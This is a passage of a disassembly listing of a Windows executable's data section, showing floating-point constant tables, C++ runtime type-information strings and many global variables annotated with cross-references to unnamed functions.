dword_43C090	dd 2 dup(0)		; DATA XREF: sub_4220C1+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43C1F0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4220C1+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43C34C	dd offset off_424D00	; DATA XREF: ___:00424EDCo
					; ___:00424FC8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43C364	dd offset off_424D00	; DATA XREF: ___:off_424D90o
					; ___:00424DD0o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43C384	dd offset off_424D00	; DATA XREF: ___:off_424DD8o
					; ___:00424E1Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
		dd offset off_424D00
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_43C3C8	dd offset off_424D00	; DATA XREF: ___:00424EACo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42086E
		align 8
byte_43C3E8	db 0			; DATA XREF: sub_40144A+1D3w
					; sub_40144A+2D2o
		align 2
word_43C3EA	dw 0			; DATA XREF: sub_40144A+1E3w
word_43C3EC	dw 0			; DATA XREF: sub_40144A+1E9w
word_43C3EE	dw 0			; DATA XREF: sub_40144A+1F0w
byte_43C3F0	db 0			; DATA XREF: sub_40144A+1F7w
byte_43C3F1	db 0			; DATA XREF: sub_40144A+1FEw
word_43C3F2	dw 0			; DATA XREF: sub_40144A+204w
dword_43C3F4	dd 0			; DATA XREF: sub_40144A+234w
					; sub_40144A+250w
dword_43C3F8	dd 0			; DATA XREF: sub_40144A+258w
byte_43C3FC	db 0			; DATA XREF: sub_40144A+26Aw
byte_43C3FD	db 0			; DATA XREF: sub_40144A+27Dw
word_43C3FE	dw 0			; DATA XREF: sub_40144A+295w
word_43C400	dw 0			; DATA XREF: sub_40144A+2A4w
word_43C402	dw 0			; DATA XREF: sub_40144A+29Cw
dword_43C404	dd 101h	dup(0)		; DATA XREF: sub_40144A+2B9o
dword_43C808	dd 0			; DATA XREF: sub_4029E9+9Eo
byte_43C80C	db 0			; DATA XREF: sub_4029E9+36r
					; sub_402ACC+37r ...
		align 10h
dword_43C810	dd 0			; DATA XREF: sub_4030D1+10w
					; sub_4030E8+30r ...
		dd 2 dup(0)
dword_43C81C	dd 2 dup(0)		; DATA XREF: sub_403EBA+68o
dword_43C824	dd 0			; DATA XREF: sub_40395A+13o
					; sub_40EE72+610Do ...
dword_43C828	dd 0			; DATA XREF: sub_404853+8w
					; ___:00404C22o
		align 10h
dword_43C830	dd 2 dup(0)		; DATA XREF: ___:00404B58o
dword_43C838	dd 0			; DATA XREF: sub_4059DB+2Aw
					; sub_4059DB+51r ...
dword_43C83C	dd 0			; DATA XREF: sub_4030E8+AEr
					; ___:004042D4r ...
		dd 2 dup(0)
dword_43C848	dd 0			; DATA XREF: sub_4071DB+18r
					; sub_40762E+92w ...
dword_43C84C	dd 0			; DATA XREF: sub_407767+4Dr
					; sub_40797F+D9w ...
		dd 3E6h	dup(0)
dword_43D7E8	dd 6 dup(0)		; DATA XREF: sub_407767+D2o
					; sub_407767+13Bo ...
dword_43D800	dd 0			; DATA XREF: sub_407252+82w
					; sub_407252+102o
dword_43D804	dd 41h dup(0)		; DATA XREF: sub_407252+41o
dword_43D908	dd 41h dup(0)		; DATA XREF: sub_407252+63o
dword_43DA0C	dd 0			; DATA XREF: sub_407252+F8w
					; sub_407252+114r
dword_43DA10	dd 0			; DATA XREF: sub_407252+52w
dword_43DA14	dd 0			; DATA XREF: sub_407252+4Dw
					; sub_407252+CFr
dword_43DA18	dd 20h dup(0)		; DATA XREF: sub_407252+9Ao
					; sub_407252+BAo
dword_43DA98	dd 0			; DATA XREF: sub_407252+8Fw
dword_43DA9C	dd 0			; DATA XREF: sub_407252+A7w
					; sub_407252+C7w
dword_43DAA0	dd 0			; DATA XREF: sub_407252:loc_40737Cr
		align 8
dword_43DAA8	dd 0			; DATA XREF: sub_407252+2D5w
					; sub_407252+32Eo
dword_43DAAC	dd 0A2h	dup(0)		; DATA XREF: sub_407252+2C3o
dword_43DD34	dd 41h dup(0)		; DATA XREF: sub_407252+28Do
dword_43DE38	dd 0			; DATA XREF: sub_407252+2BAw
					; sub_407252+2E1r
		align 10h
dword_43DE40	dd 0			; DATA XREF: sub_407252+324w
					; sub_407252+340r
dword_43DE44	dd 0			; DATA XREF: sub_407252+2E7w
dword_43DE48	dd 0			; DATA XREF: sub_407252+2F4w
dword_43DE4C	dd 0			; DATA XREF: sub_407252+2B4w
		dd 0
dword_43DE54	dd 0			; DATA XREF: sub_407252:loc_4075A8r
dword_43DE58	dd 0			; DATA XREF: sub_407252+1A1w
					; sub_407252+221o
dword_43DE5C	dd 41h dup(0)		; DATA XREF: sub_407252+163o
dword_43DF60	dd 41h dup(0)		; DATA XREF: sub_407252+182o
dword_43E064	dd 0			; DATA XREF: sub_407252+217w
					; sub_407252+233r
dword_43E068	dd 0			; DATA XREF: sub_407252+171w
dword_43E06C	dd 0			; DATA XREF: sub_407252+1EEr
dword_43E070	dd 20h dup(0)		; DATA XREF: sub_407252+1B9o
					; sub_407252+1D9o
dword_43E0F0	dd 0			; DATA XREF: sub_407252+1AEw
dword_43E0F4	dd 0			; DATA XREF: sub_407252+1C6w
					; sub_407252+1E6w
dword_43E0F8	dd 0			; DATA XREF: sub_407252:loc_40749Cr
		align 10h
dword_43E100	dd 0			; DATA XREF: sub_4087EE+Fr
					; sub_4089E7+12r
		align 8
dword_43E108	dd 80h dup(0)		; DATA XREF: sub_409706+41o
dword_43E308	dd 200h	dup(0)		; DATA XREF: sub_409037+C7o
					; sub_409392+DDo ...
dword_43EB08	dd 200h	dup(0)		; DATA XREF: sub_409037+D6o
					; sub_409392+F4o ...
dword_43F308	dd 0			; DATA XREF: sub_409037+86w
					; sub_409209+94r
dword_43F30C	dd 0			; DATA XREF: sub_409037+A7w
					; sub_40966F+55r ...
dword_43F310	dd 0			; DATA XREF: sub_409037+A0w
					; sub_409209+D6r ...
dword_43F314	dd 0			; DATA XREF: sub_409037+79w
					; sub_409209+35r ...
dword_43F318	dd 80h dup(0)		; DATA XREF: sub_40966F+5Eo
dword_43F518	dd 0			; DATA XREF: sub_409037+93w
					; sub_409209+A2r
		align 10h
dword_43F520	dd 0			; DATA XREF: sub_409037+E7o
					; sub_409037+103r ...
dword_43F524	dd 0			; DATA XREF: sub_409392+17Bw
					; sub_409539+107w
dword_43F528	dd 0			; DATA XREF: sub_409392+180w
					; sub_409539+10Dw ...
dword_43F52C	dd 0			; DATA XREF: sub_409392+159w
					; sub_40966F+4Fr
dword_43F530	dd 0			; DATA XREF: sub_4085B3+210r
					; sub_4085B3+21Ar ...
dword_43F534	dd 0			; DATA XREF: sub_40981F+65w
					; sub_41518A+F5r
dword_43F538	dd 0			; DATA XREF: sub_40981F+7EDw
					; sub_40981F+862r ...
dword_43F53C	dd 0			; DATA XREF: sub_40981F+9BAw
					; sub_40981F+A18r ...
dword_43F540	dd 0			; DATA XREF: sub_40981F+96Cw
					; sub_40981F+9E8r ...
dword_43F544	dd 0			; DATA XREF: sub_4085B3+D1r
					; sub_40981F+46Fw ...
dword_43F548	dd 0			; DATA XREF: sub_4023A7+ECr
					; sub_4023A7+109r ...
dword_43F54C	dd 0			; DATA XREF: sub_40981F+9ADw
					; sub_40981F+A10r ...
dword_43F550	dd 0			; DATA XREF: sub_40981F+354w
					; sub_40981F+3A9r ...
dword_43F554	dd 0			; DATA XREF: sub_40981F+3F1w
					; sub_40B8D8+11Er
dword_43F558	dd 0			; DATA XREF: sub_40981F+361w
					; sub_40981F+3B1r ...
dword_43F55C	dd 0			; DATA XREF: sub_40981F+3A2w
					; sub_40DCE6+ADr
dword_43F560	dd 0			; DATA XREF: sub_405AF2+115r
					; sub_4084B3+7Dr ...
dword_43F564	dd 0			; DATA XREF: sub_40981F+72w
					; sub_40981F+D2r ...
dword_43F568	dd 0			; DATA XREF: sub_40981F+95Fw
					; sub_40981F+9DBr ...
dword_43F56C	dd 0			; DATA XREF: sub_40981F+388w
					; sub_40981F+3C9r ...
dword_43F570	dd 0			; DATA XREF: sub_40981F+83Bw
					; sub_40981F+88Er ...
dword_43F574	dd 0			; DATA XREF: sub_408C26+58r
					; sub_40981F+2A5w ...
dword_43F578	dd 0			; DATA XREF: sub_40981F+82Ew
					; sub_40981F+886r ...
dword_43F57C	dd 0			; DATA XREF: sub_40981F+B3w
dword_43F580	dd 0			; DATA XREF: sub_40981F+848w
					; sub_40981F+896r ...
dword_43F584	dd 0			; DATA XREF: sub_407BDE+7Er
					; sub_40981F+52Fw ...
dword_43F588	dd 0			; DATA XREF: sub_40981F+58w
					; sub_40981F+CAr ...
dword_43F58C	dd 0			; DATA XREF: sub_40981F+916w
					; sub_40AF86+11Ar
dword_43F590	dd 0			; DATA XREF: sub_40981F+A66w
					; sub_40981F+A6Dr ...
dword_43F594	dd 0			; DATA XREF: sub_40981F+A6w
					; sub_40981F+F2r
dword_43F598	dd 0			; DATA XREF: sub_4085B3+119r
					; sub_40981F+462w ...
dword_43F59C	dd 0			; DATA XREF: sub_4075E6+20r
					; sub_40981F+5D8w
dword_43F5A0	dd 0			; DATA XREF: sub_40981F+9A0w
					; sub_40981F+A08r
dword_43F5A4	dd 0			; DATA XREF: sub_402688+280r
					; sub_40981F+5CBw ...
dword_43F5A8	dd 0			; DATA XREF: sub_402ACC+9Ar
					; sub_40981F+B21w
dword_43F5AC	dd 0			; DATA XREF: sub_40981F+7E0w
					; sub_40981F+84Fr ...
dword_43F5B0	dd 0			; DATA XREF: sub_40981F+1B3w
					; sub_40AC20+15r
dword_43F5B4	dd 0			; DATA XREF: sub_40981F+979w
					; sub_40981F+9F0r ...
dword_43F5B8	dd 0			; DATA XREF: sub_40981F+36Ew
					; sub_40981F+3B9r ...
dword_43F5BC	dd 0			; DATA XREF: sub_40981F+37Bw
					; sub_40981F+3C1r ...
dword_43F5C0	dd 0			; DATA XREF: sub_4087EE+28r
					; sub_4089E7+2Br ...
dword_43F5C4	dd 0			; DATA XREF: sub_40981F+68Ew
					; ___:00415550r
dword_43F5C8	dd 0			; DATA XREF: sub_4010B5:loc_4013E0r
					; sub_401A76:loc_401D1Cr ...
dword_43F5CC	dd 0			; DATA XREF: sub_4085B3+207r
					; sub_40981F+496w
dword_43F5D0	dd 0			; DATA XREF: sub_40981F+9C7w
					; sub_40981F+A20r ...
dword_43F5D4	dd 0			; DATA XREF: sub_40981F+2B2w
					; sub_40981F+2DEr ...
dword_43F5D8	dd 0			; DATA XREF: sub_40981F+7Fw
					; sub_40981F+DAr ...
dword_43F5DC	dd 0			; DATA XREF: sub_40981F+B6Ew
					; sub_40981F+B75r ...
dword_43F5E0	dd 0			; DATA XREF: sub_4010B5+2Fr
					; sub_401A76+2Fr ...
dword_43F5E4	dd 0			; DATA XREF: sub_40981F+807w
					; sub_40981F+872r ...
dword_43F5E8	dd 0			; DATA XREF: sub_40981F+986w
					; sub_40981F+9F8r
dword_43F5EC	dd 0			; DATA XREF: sub_40981F+BDFw
					; sub_40981F+C10r
dword_43F5F0	dd 0			; DATA XREF: sub_4023A7+40r
					; sub_4023A7+63r ...
dword_43F5F4	dd 0			; DATA XREF: sub_40981F+8FCw
					; sub_40981F+910r ...
dword_43F5F8	dd 0			; DATA XREF: sub_40981F+BF9w
dword_43F5FC	dd 0			; DATA XREF: sub_4010B5:loc_4013AAr
					; sub_40144A+3Cr ...
dword_43F600	dd 0			; DATA XREF: sub_40981F+821w
					; sub_40981F+855r
dword_43F604	dd 0			; DATA XREF: sub_4023A7+50r
					; sub_4023A7+78r ...
dword_43F608	dd 0			; DATA XREF: sub_4087EE+3Fr
					; sub_4087EE+69r ...
dword_43F60C	dd 0			; DATA XREF: sub_40981F+65Aw
					; sub_40981F+786r ...
dword_43F610	dd 0			; DATA XREF: sub_402DD7+20Ar
					; sub_4030E8+5Er ...
dword_43F614	dd 0			; DATA XREF: sub_402688+16Er
					; sub_40981F+549w ...
dword_43F618	dd 0			; DATA XREF: sub_40981F+8BDw
					; sub_40981F:loc_40A0FAw ...
dword_43F61C	dd 0			; DATA XREF: sub_40981F+28Bw
					; sub_40981F+2C6r ...
dword_43F620	dd 0			; DATA XREF: ___:00407DFEr
					; sub_40981F+681w ...
dword_43F624	dd 0			; DATA XREF: sub_40981F+30Fw
					; sub_40981F+323r ...
dword_43F628	dd 0			; DATA XREF: sub_40981F+395w
					; sub_40981F+3D1r ...
dword_43F62C	dd 0			; DATA XREF: sub_40981F+BD2w
					; sub_40981F+C08r
dword_43F630	dd 0			; DATA XREF: sub_40981F+7FAw
					; sub_40981F+86Ar ...
dword_43F634	dd 0			; DATA XREF: sub_4023A7+FCr
					; sub_40981F+206w ...
dword_43F638	dd 0			; DATA XREF: sub_40981F+18Cw
					; sub_40981F+1D2r ...
dword_43F63C	dd 0			; DATA XREF: sub_40981F+814w
					; sub_40981F+87Ar ...
dword_43F640	dd 0			; DATA XREF: sub_406C19+244r
					; sub_40981F+606w ...
dword_43F644	dd 0			; DATA XREF: sub_408C26+18Ar
					; sub_40981F+2BFw ...
dword_43F648	dd 0			; DATA XREF: sub_4010B5+6Fr
					; sub_40144A+AAr ...
dword_43F64C	dd 0			; DATA XREF: sub_40981F+302w
					; sub_40981F+316r ...
dword_43F650	dd 0			; DATA XREF: sub_405AF2+F9r
					; sub_406C19+1FCr ...
dword_43F654	dd 0			; DATA XREF: sub_4085B3+16r
					; sub_40981F+42Ew ...
dword_43F658	dd 0			; DATA XREF: sub_40981F+199w
					; sub_40981F+1DAr ...
dword_43F65C	dd 0			; DATA XREF: sub_40981F+347w
					; sub_40981F+39Cr ...
dword_43F660	dd 0			; DATA XREF: sub_40981F+A73w
dword_43F664	dd 0			; DATA XREF: sub_4010B5+EBr
					; sub_4010B5+1F9r ...
dword_43F668	dd 0			; DATA XREF: sub_4010B5+87r
					; sub_4010B5+9Dr ...
dword_43F66C	dd 0			; DATA XREF: sub_40981F+4Bw
					; sub_40981F+C2r ...
dword_43F670	dd 0			; DATA XREF: sub_4085B3+2Cr
					; sub_4085B3+38r ...
dword_43F674	dd 0			; DATA XREF: sub_40981F+165w
					; sub_40981F+1BAr ...
dword_43F678	dd 0			; DATA XREF: sub_40981F+9E1w
					; sub_40E5EB+72r
dword_43F67C	dd 0			; DATA XREF: sub_40981F+667w
					; sub_40981F+78Er
dword_43F680	dd 0			; DATA XREF: sub_402688+205r
					; sub_402DD7+23Br ...
dword_43F684	dd 0			; DATA XREF: sub_40981F+BECw
					; sub_40981F+C18r
dword_43F688	dd 0			; DATA XREF: sub_40981F+3Ew
					; sub_40981F+BAr ...
dword_43F68C	dd 0			; DATA XREF: sub_40981F+298w
					; sub_40981F+2CEr ...
dword_43F690	dd 0			; DATA XREF: sub_405AF2+9Er
					; sub_407BDE+9Cr ...
dword_43F694	dd 0			; DATA XREF: sub_402688+EBr
					; sub_405AF2+89r ...
dword_43F698	dd 0			; DATA XREF: sub_40981F+C63w
					; sub_40EE72+4626r
dword_43F69C	dd 0			; DATA XREF: sub_40981F+85Bw
					; sub_40BC4B+205r ...
dword_43F6A0	dd 0			; DATA XREF: sub_40981F+112w
dword_43F6A4	dd 0			; DATA XREF: sub_40981F+BB8w
					; sub_40981F+BF3r
dword_43F6A8	dd 0			; DATA XREF: sub_40144A+119r
					; sub_40144A+1A0r ...
dword_43F6AC	dd 0			; DATA XREF: sub_4085B3+BCr
					; sub_40981F+43Bw ...
dword_43F6B0	dd 0			; DATA XREF: sub_4085B3+FBr
					; sub_40981F+47Cw ...
dword_43F6B4	dd 0			; DATA XREF: sub_4085B3+65r
					; sub_40981F+448w ...
dword_43F6B8	dd 0			; DATA XREF: sub_402DD7+221r
					; sub_402DD7+249r ...
dword_43F6BC	dd 0			; DATA XREF: sub_40981F+1A6w
					; sub_40981F+1E2r ...
dword_43F6C0	dd 0			; DATA XREF: sub_40981F+9D4w
					; sub_40981F+A28r ...
dword_43F6C4	dd 0			; DATA XREF: sub_4087EE+53r
					; sub_4087EE+7Fr ...
dword_43F6C8	dd 0			; DATA XREF: sub_40981F+8Cw
					; sub_40981F+E2r ...
dword_43F6CC	dd 0			; DATA XREF: sub_4010B5+2C2r
					; sub_40144A+2DAr ...
dword_43F6D0	dd 0			; DATA XREF: sub_40981F+B14w
					; sub_40981F+B30r
dword_43F6D4	dd 0			; DATA XREF: sub_40981F+31Cw
					; sub_41511F+55r
dword_43F6D8	dd 0			; DATA XREF: sub_408C26+3Fr
					; sub_40981F+27Ew ...
dword_43F6DC	dd 0			; DATA XREF: sub_40981F+B7Bw
dword_43F6E0	dd 0			; DATA XREF: sub_40981F+ABDw
					; sub_40AE02+CEr
dword_43F6E4	dd 0			; DATA XREF: sub_40981F+AB0w
					; sub_40981F+AB7r ...
dword_43F6E8	dd 0			; DATA XREF: sub_40144A+2Er
					; sub_401D82+55r ...
dword_43F6EC	dd 0			; DATA XREF: ___:00407DEEr
					; sub_40981F+674w ...
dword_43F6F0	dd 0			; DATA XREF: sub_40981F+BC5w
					; sub_40981F+C00r
dword_43F6F4	dd 0			; DATA XREF: sub_402688+28Dr
					; sub_406C19+250r ...
dword_43F6F8	dd 0			; DATA XREF: sub_40981F+993w
					; sub_40981F+A00r ...
dword_43F6FC	dd 0			; DATA XREF: sub_405AF2+13Ar
					; sub_407BDE+B3r ...
dword_43F700	dd 0			; DATA XREF: sub_4010B5+324r
					; sub_40144A+2F0r ...
dword_43F704	dd 0			; DATA XREF: sub_405AF2+B7r
					; sub_405AF2+39Fr ...
dword_43F708	dd 0			; DATA XREF: sub_4029E9+B0r
					; sub_4029E9+C8r ...
dword_43F70C	dd 0			; DATA XREF: sub_4010B5+4Fr
					; sub_401A76+4Fr ...
dword_43F710	dd 0			; DATA XREF: sub_40981F+AFAw
					; sub_40981F+B1Br
dword_43F714	dd 0			; DATA XREF: sub_40981F+31w
					; sub_40981F+ADr ...
dword_43F718	dd 0			; DATA XREF: sub_4087EE+1ECr
					; sub_4089E7+232r ...
		align 10h
dword_43F720	dd 0			; DATA XREF: sub_40981F+909w
					; sub_40981F+91Dr ...
dword_43F724	dd 0			; DATA XREF: sub_40981F+99w
					; sub_40981F+EAr ...
dword_43F728	dd 0			; DATA XREF: sub_40981F:loc_40991Dw
					; sub_40981F+12Bw ...
dword_43F72C	dd 0			; DATA XREF: sub_40981F+126w
					; sub_40A4AC+1Cr
dword_43F730	dd 0			; DATA XREF: sub_40981F:loc_409A0Dw
					; sub_40981F:loc_409A74w ...
dword_43F734	dd 0			; DATA XREF: sub_40981F+250w
					; sub_40A4AC+50r
dword_43F738	dd 0			; DATA XREF: sub_40981F:loc_409B09w
					; sub_40981F:loc_409B4Ew ...
dword_43F73C	dd 0			; DATA XREF: sub_40981F+400w
					; sub_40A4AC+84r
dword_43F740	dd 0			; DATA XREF: sub_40981F:loc_409D05w
					; sub_40A4AC:loc_40A55Cr
dword_43F744	dd 0			; DATA XREF: sub_40981F+4E1w
					; sub_40A4AC+B8r
dword_43F748	dd 0			; DATA XREF: sub_40981F:loc_409FD6w
					; sub_40A4AC:loc_40A590r
dword_43F74C	dd 0			; DATA XREF: sub_40981F+7B2w
					; sub_40A4AC+ECr
dword_43F750	dd 0			; DATA XREF: sub_40981F:loc_40A0C1w
					; sub_40981F+8D1w ...
dword_43F754	dd 0			; DATA XREF: sub_40981F+8CCw
					; sub_40A4AC+120r
dword_43F758	dd 0			; DATA XREF: sub_40981F:loc_40A155w
					; sub_40A4AC:loc_40A5F8r ...
dword_43F75C	dd 0			; DATA XREF: sub_40981F+931w
					; sub_40A4AC+154r
dword_43F760	dd 0			; DATA XREF: sub_40981F:loc_40A260w
					; sub_40A4AC:loc_40A62Cr ...
dword_43F764	dd 0			; DATA XREF: sub_40981F+A3Cw
					; sub_40A4AC+188r
dword_43F768	dd 0			; DATA XREF: sub_40981F:loc_40A2AAw
					; sub_40A4AC:loc_40A660r
dword_43F76C	dd 0			; DATA XREF: sub_40981F+A86w
					; sub_40A4AC+1BCr
dword_43F770	dd 0			; DATA XREF: sub_40981F:loc_40A2F4w
					; sub_40A4AC:loc_40A694r
dword_43F774	dd 0			; DATA XREF: sub_40981F+AD0w
					; sub_40A4AC+1F0r
dword_43F778	dd 0			; DATA XREF: sub_40981F:loc_40A368w
					; sub_40A4AC:loc_40A6C8r
dword_43F77C	dd 0			; DATA XREF: sub_40981F+B44w
					; sub_40A4AC+224r
dword_43F780	dd 0			; DATA XREF: sub_40981F:loc_40A3B2w
					; sub_40A4AC:loc_40A6FCr
dword_43F784	dd 0			; DATA XREF: sub_40981F+B8Ew
					; sub_40A4AC+258r
dword_43F788	dd 0			; DATA XREF: sub_40981F:loc_40A450w
					; sub_40A4AC:loc_40A730r
dword_43F78C	dd 0			; DATA XREF: sub_40981F+C2Cw
					; sub_40A4AC+28Cr
dword_43F790	dd 0			; DATA XREF: sub_40981F:loc_40A49Aw
					; sub_40A4AC:loc_40A764r
dword_43F794	dd 0			; DATA XREF: sub_40981F+C76w
					; sub_40A4AC+2C0r
dword_43F798	dd 81h dup(0)		; DATA XREF: sub_40AA35+6Ao
dword_43F99C	dd 5 dup(0)		; DATA XREF: sub_40AEE0+32o
dword_43F9B0	dd 0			; DATA XREF: sub_40B328:loc_40B349r
					; sub_40B417+54r ...
dword_43F9B4	dd 0			; DATA XREF: sub_40B328r
					; sub_40B417+37r ...
dword_43F9B8	dd 0			; DATA XREF: sub_40B358+1Ar
					; sub_40B56C+83o
dword_43F9BC	dd 0			; DATA XREF: sub_40B328:loc_40B33Cr
					; sub_40B56C+11Bw
dword_43F9C0	dd 0Dh dup(0)		; DATA XREF: sub_40B417+13o
					; sub_40B56C:loc_40B6A9o
dword_43F9F4	dd 0			; DATA XREF: sub_40B417+CDr
					; sub_40B417+ECr ...
		dd 0
dword_43F9FC	dd 0Eh dup(0)		; DATA XREF: sub_40B721+47o
dword_43FA34	dd 1000h dup(0)		; DATA XREF: sub_40BF6D+1Do
					; sub_40C00Do ...
dword_443A34	dd 0			; DATA XREF: sub_40BF6D+13o
					; sub_40C00D+Eo ...
dword_443A38	dd 0Eh dup(0)		; DATA XREF: sub_40D01A+Fo
dword_443A70	dd 2 dup(0)		; DATA XREF: sub_40D3A5+C8o
dword_443A78	dd 17h dup(0)		; DATA XREF: sub_40D835:loc_40D952o
					; sub_40D835+131o ...
dword_443AD4	dd 80h dup(0)		; DATA XREF: sub_40E5EB+7Co
					; sub_40E5EB+A5o
dword_443CD4	dd 0			; DATA XREF: sub_40DBB0+45w
					; sub_40DBB0+4Dr ...
dword_443CD8	dd 17h dup(0)		; DATA XREF: sub_40E4B7:loc_40E5D9o
					; sub_40E4B7+12Do
dword_443D34	dd 80h dup(0)		; DATA XREF: sub_40DAF0+4Co
					; sub_40DAF0+7Eo ...
byte_443F34	db 0			; DATA XREF: sub_40DBB0+29r
					; sub_40DBB0+34w
		align 4
dword_443F38	dd 80h dup(0)		; DATA XREF: sub_40DE07+61o
					; sub_40DE07+89o ...
dword_444138	dd 82h dup(0)		; DATA XREF: sub_40D719:loc_40D751o
					; sub_40D719+5Bo
dword_444340	dd 0			; DATA XREF: sub_40BE75+Ao
					; sub_40BE75+44r ...
		dd 5 dup(0)
dword_444358	dd 0			; DATA XREF: sub_40BE75+60r
					; sub_40EE72+BD6r
		dd 2D9h	dup(0)
dword_444EC0	dd 0			; DATA XREF: sub_407767+A8r
					; sub_40BE75+2Do ...
dword_444EC4	dd 7Fh dup(0)
dword_4450C0	dd 0			; DATA XREF: sub_416D5C+41w
					; sub_416E97+40w ...
dword_4450C4	dd 0			; DATA XREF: sub_4060D0+23Bw
					; sub_407767:loc_4077AEr ...
dword_4450C8	dd 0			; DATA XREF: sub_40B56C+164w
					; sub_416810+AEw ...
dword_4450CC	dd 0			; DATA XREF: sub_402688+E0w
					; sub_405AF2+7Ew ...
dword_4450D0	dd 0			; DATA XREF: ___:00407E84w
					; ___:00407FA0r ...
dword_4450D4	dd 0			; DATA XREF: sub_4060D0+268w
					; sub_407252+122w ...
byte_4450D8	db 0			; DATA XREF: sub_40EB92+91o
					; sub_40EE72+3359r ...
		align 4
		dd 19Dh	dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:off_42A2D0o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0042CCA8o
dword_450050	dd 0E700h dup(0)
dword_489C50	dd 0			; DATA XREF: sub_407110:loc_40717Er
					; ___:0040E6E3w ...
		align 8
dword_489C58	dd 0			; DATA XREF: ___:loc_40EAA4o
dword_489C5C	dd 20h dup(0)		; DATA XREF: ___:0040EA3Co
					; ___:0040EAF5o ...
dword_489CDC	dd 10h dup(0)		; DATA XREF: ___:0040EA53o
					; sub_40EE72+929o
dword_489D1C	dd 24h dup(0)		; DATA XREF: ___:0040EA6Ao
dword_489DAC	dd 0			; DATA XREF: ___:0040EA5Ew
					; ___:0040EB0Cw ...
dword_489DB0	dd 0			; DATA XREF: ___:0040EA7Dw
		align 10h
dword_489DC0	dd 0			; DATA XREF: sub_40EB92+72r
					; sub_40EE72+273r
		align 8
byte_489DC8	db 0			; DATA XREF: sub_40ECFA+28r
					; sub_40ECFA+30o
		align 4
dword_489DCC	dd 0			; DATA XREF: ___:0040EAA9w
					; ___:0040EAC0r ...
dword_489DD0	dd 0			; DATA XREF: ___:0040EA41w
					; sub_40EE72+8CAr
		dd 2 dup(0)
dword_489DDC	dd 0			; DATA XREF: ___:004155C6r
		dd 0
dword_489DE4	dd 1Bh dup(0)		; DATA XREF: sub_415D6A+8Do
dword_489E50	dd 0			; DATA XREF: sub_416FA4+16o
					; sub_416FC3+19o
dword_489E54	dd 65h dup(0)		; DATA XREF: sub_416F57+3Do
byte_489FE8	db 0			; DATA XREF: sub_416C55+6Ar
					; sub_416C55+98w
		align 4
		dd 2 dup(0)
dword_489FF4	dd 0			; DATA XREF: sub_417D73+Aw
dword_489FF8	dd 0			; DATA XREF: sub_4186B1+5Er
					; sub_4186B1+A4w
		align 10h
word_48A000	dw 0			; DATA XREF: sub_4186B1+55r
					; sub_4186B1+9Ao
word_48A002	dw 0			; DATA XREF: sub_4186B1+48r
		db 2 dup(0)
word_48A006	dw 0			; DATA XREF: sub_4186B1+3Br
word_48A008	dw 0			; DATA XREF: sub_4186B1+2Er
word_48A00A	dw 0			; DATA XREF: sub_4186B1+21r
		align 10h
dword_48A010	dd 0			; DATA XREF: sub_418B6E+3Br
